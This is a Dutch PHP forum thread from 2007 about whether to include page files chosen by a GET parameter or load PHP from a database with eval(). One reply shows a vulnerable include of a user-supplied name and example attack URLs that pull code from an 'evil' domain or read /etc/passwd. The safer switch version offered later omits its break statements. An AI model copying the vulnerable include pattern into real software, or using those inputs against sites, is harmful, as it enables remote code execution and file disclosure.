php includen / uit database

Overzicht Reageren

Sponsored by: Vacatures door Monsterboard

Daan

Daan

16/08/2007 20:53:00
Quote Anchor link
Hey,

Ik heb een vraagje:
Via een $_GET variabele krijgt m'n script door welke pagina hij moet weergeven, maar ik weet nog niet of ik die pagina dan uit een database zal halen of gewoon een bestandje includen.

In de pagina staat PHP, dus als het uit een database komt, zal ik eval() moeten gebruiken. (toch?) Maar ik heb gehoord dat die niet heel veilig is, ofzo? Hoe zit dat?

En kan ik dan beter een tekstbestand includen?
Ik heb liever een database, omdat dan alles netjes bij elkaar staat.

Graag uitleg, opmerkingen of tips..

Daan
 
PHP hulp

PHP hulp

24/11/2024 19:20:30
 
Leroy

leroy

16/08/2007 21:14:00
Quote Anchor link
inderdaad, dat zal dan eval moeten zijn.

persoonlijk denk ik ook dat het veiliger is...

als je dit met bestanden doet kan je remote code execute krijgen..

voorbeeld

www.mijndomein.nl/index.php?pagina=index

en je hebt een index php?

dan zet je dus in php

$page = $_GET['pagina'] . ".php";
include ($page);

en wat zou er gebeuren als ik www.mijndomein.nl/index.php?pagina=www.eveildomain.nl/evilcode.php gebruik?

of
www.mijndomein.nl/index.php?pagina=/etc/passwd?
 
Manaus

Manaus

16/08/2007 21:15:00
Quote Anchor link
eval is vooral gevaarlijk als de gebruikers de inhoud kunne manipuleren ik denk niet dat het zo onveilig is....
Edit:

te laat, maar wat je ook kan doen is:
Je kan met fopen etc een PHP bestand maken en daarin schrijven en dan het juiste php bestand include...
Gewijzigd op 01/01/1970 01:00:00 door Manaus
 
Daan

Daan

16/08/2007 21:46:00
Quote Anchor link
Bedankt voor de reacties!
Volgens mij is het probleem van eval dat als er een error optreed het script stopt ofzo.

@leroy:
Zo onveilig zou ik het dan ook niet maken, dan zou het zoiets worden:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
<?php
    switch($_GET['page']) {
        case
"home": include "home.php";
        case
"pagina2": include "pagina2.php";
        default:
include "home.php";
    }

?>


Dan is het niet onveilig meer..
 



Overzicht Reageren

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.